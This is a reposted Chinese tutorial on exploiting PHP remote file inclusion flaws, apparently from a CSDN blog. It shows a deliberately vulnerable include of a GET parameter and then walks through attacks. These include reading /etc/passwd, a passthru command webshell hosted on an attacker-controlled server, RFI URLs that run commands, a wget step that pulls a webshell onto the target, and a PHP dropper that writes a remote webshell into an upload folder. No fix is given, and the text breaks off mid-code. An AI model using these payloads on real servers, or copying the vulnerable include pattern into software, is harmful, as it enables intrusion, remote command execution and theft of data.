文件轉載自https://blog.csdn.net/chence19871/article/details/51906523
一、什么才是"遠程文件包含漏洞"?
服務器通過php的特性(函數)去包含任意文件時,由于要包含的這個文件來源過濾不嚴,從而可以去包含一個惡意文件,而我們可以構造這個惡意文件來達到邪惡的目的。
涉及到的危險函數:include(),require()和include_once(),require_once()
Include:包含并運行指定文件,當包含外部文件發生錯誤時,系統給出警告,但整個php文件繼續執行。
Require:跟include唯一不同的是,當產生錯誤時候,include下面繼續運行而require停止運行了。
Include_once:這個函數跟include函數作用幾乎相同,只是他在導入函數之前先檢測下該文件是否被導入。如果已經執行一遍那么就不重復執行了。
Require_once:這個函數跟require的區別 跟上面我所講的include和include_once是一樣的。所以我就不重復了。
php.ini配置文件:allow_url_fopen=off 即不可以包含遠程文件。Php4存在遠程&本地,php5僅存在本地包含。
二、
為什么要包含文件?
程序員寫程序的時候,不喜歡干同樣的事情,也不喜歡把同樣的代碼(比如一些公用的函數)寫幾次,于是就把需要公用的代碼寫在一個單獨的文件里面,比如 share.php,而后在其它文件進行包含調用。在php里,我們就是使用上面列舉的那幾個函數來達到這個目的的,它的工作流程:如果你想在 main.php里包含share.php,我將這樣寫include("share.php")就達到目的,然后就可以使用share.php中的函數了,像這個寫死需要包含的文件名稱的自然沒有什么問題,也不會出現漏洞,那么問題到底是出在哪里呢?
有的時候可能不能確定需要包含哪個文件,比如先來看下面這個文件index.php的代碼:
CODE:?
---------------------------------------------------------------------------------------------------
if ($_GET[page]) {
include $_GET[page];
} else {
include "home.php";
}
---------------------------------------------------------------------------------------------------
很正常的一段PHP代碼,它是怎么運作的呢?
上面這段代碼的使用格式可能是這樣的:
http://hi.baidu.com/m4r10/php/index.php?page=main.php或者
http://hi.baidu.com/m4r10/php/index.php?page=downloads.php
結合上面代碼,簡單說下怎么運作的:
1.提交上面這個URL,在index.php中就取得這個page的值($_GET[page])。
2.判斷$_GET[page]是不是空,若不空(這里是main.php)就用include來包含這個文件。
3.若$_GET[page]空的話就執行else,來 include "home.php" 這個文件。
三、
為什么會產生漏洞?
你也許要說,這樣很好呀,可以按照URL來動態包含文件,多么方便呀,怎么產生漏洞的呢?問題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會按照他的鏈接來操作,我們可能想自己寫想包含(調用)的文件,比如我們會隨便的打入下面這個URL:http: //hi.baidu.com/m4r10/php/index.php?page=hello.php。然后我們的index.php程序就傻傻按照上面我們說得步驟去執行:取page為hello.php,然后去include(hello.php),這時問題出現了,因為我們并沒有hello.php這個文件,所以它 include的時候就會報警告,類似下列信息:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in?/vhost/wwwroot/php/index.phpon line 3
Warning: include() [function.include]: Failed opening hello.php for inclusion (include_path=.:) in /vhost/wwwroot/php/index.php on line 3
注意上面的那個Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因為前面沒有找到指定文件,所以包含的時候就出警告了。
四、
如何利用?
上面可以看到,問題出現了,那么我們怎么利用這樣的漏洞呢,利用方法其實很多,但是實質上都是差不多的,我這里說三個比較常見的利用方法:
1.包含讀出目標機上其它文件
由前面我們可以看到,由于對取得的參數page沒有過濾,于是我們可以任意指定目標主機上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對路徑(vhost/wwwroot/php/),那么我們就可以多次探測來包含其它文件,比如指定URL為:http://hi.baidu.com/m4r10/php/index.php?page=./txt.txt可以讀出當前路徑下的txt.txt文件,也可以使用../../進行目錄跳轉(在沒過濾../的情況下);也可以直接指定絕對路徑,讀取敏感的系統文件,比如這個URL:http://hi.baidu.com/m4r10/php/index.php?page=/etc/passwd,如果目標主機沒有對權限限制的很嚴格,或者啟動Apache的權限比較高,是可以讀出這個文件內容的。否則就會得到一個類似于:open_basedir restriction in effect.的Warning。
2.遠程文件包含可運行的PHP木馬
如果目標主機的"allow_url_fopen"是激活的(默認是激活的,沒幾個人會修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP代碼的webshell來直接運行,比如,我先寫一段運行命令的PHP代碼,如下保存為cmd.txt(后綴不重要,只要內容為PHP格式就可以了)。
CODE:?
--------------------------------------------------------------------------------
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉義字符(可去掉字符串中的反斜線字符)
ini_set("max_execution_time",0); //設定針對這個文件的執行時間,0為不限制.
echo "M4R10開始行"; //打印的返回的開始行提示信息
passthru($_REQUEST["cmd"]); //運行cmd指定的命令
echo "M4R10結束行"; //打印的返回的結束行提示信息
?>
--------------------------------------------------------------------------------
以上這個文件的作用就是接受cmd指定的命令,并調用passthru函數執行,把內容返回在M4R10開始行與M4R10結束行之間。把這個文件保存到我們主機的服務器上(可以是不支持PHP的主機),只要能通過HTTP訪問到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我們就可以在那個漏洞主機上構造如下URL來利用了:http://hi.baidu.com/m4r10/php/index.php?page=http: //www.xxx.cn/cmd.txt?cmd=ls,其中cmd后面的就是你需要執行的命令,其它常用的命令(以*UNIX為例)如下:
Quote:
ll 列目錄、文件(相當于Windows下dir)
pwd 查看當前絕對路徑
id whoami 查看當前用戶
wget下載指定URL的文件
等等其它的,你主機去BAIDU找吧,就不列舉了。
3.包含一個創建文件的PHP文件
也許有的人認為還是得到目標機上的一個真實的Webshell比較放心,萬一哪天人家發現這兒個包含漏洞修補了,我們就不能再遠程包含得到上面的那個" 偽"Webshell了,不是么?可以理解這個心態,我們繼續。得到一個真實的Webshell,我們也說兩種常見的方法:
1)使用wget之類的命令來下載一個Webshell
這個比較簡單,也很常用,在上面我們得到的那個偽webshell中,我們可以執行命令,那么我們也可以調用系統中的一個很厲害的角色,wget,這個命令的強大你可以google下,參數一大堆,絕對搞暈你,呵呵,我們不需要那么復雜,我們就使用一個-O(--output- document=FILE,把文檔寫到FILE文件中) 就可以了,呵呵。
前提是你在按照前面的步驟放一個包含PHP代碼的Webshell在一個可以通過HTTP或者FTP等可以訪問的地方,比如:http://www.xxx.cn/m4r10.txt,這個文件里寫的就是Webshell的內容。然后我們在前面得到的偽 Webshell中執行如下的URL:http://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn/cmd.txt?cmd=wgethttp://www.xxx.cn/m4r10.txt?-O m4r10.php,如果當前目錄可寫,就能得到一個叫做m4r10.php的Webshell了,如果當前目錄不可寫,還需要想其它的辦法。
2)使用文件來創建
前面的wget可能會遇到當前目錄不能寫的情況;或者目標主機禁用了(或者沒裝)這個命令,我們又需要變通一下了,我們可以結合前面的包含文件漏洞來包含一個創建文件(寫文件)的PHP腳本,內容如下:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------------------------
$f=file_get_contents("http://www.xxx.cn/m4r10.txt"); //打開指定路徑的文件流
$ff=fopen("./upload/m4r10.php","a"); //尋找一個可以的目錄,創建一個文件
fwrite ($ff,$f); //把前面打開的文件流寫到創建的文件里
fclose($ff); //關閉保存文件
?>
-----------------------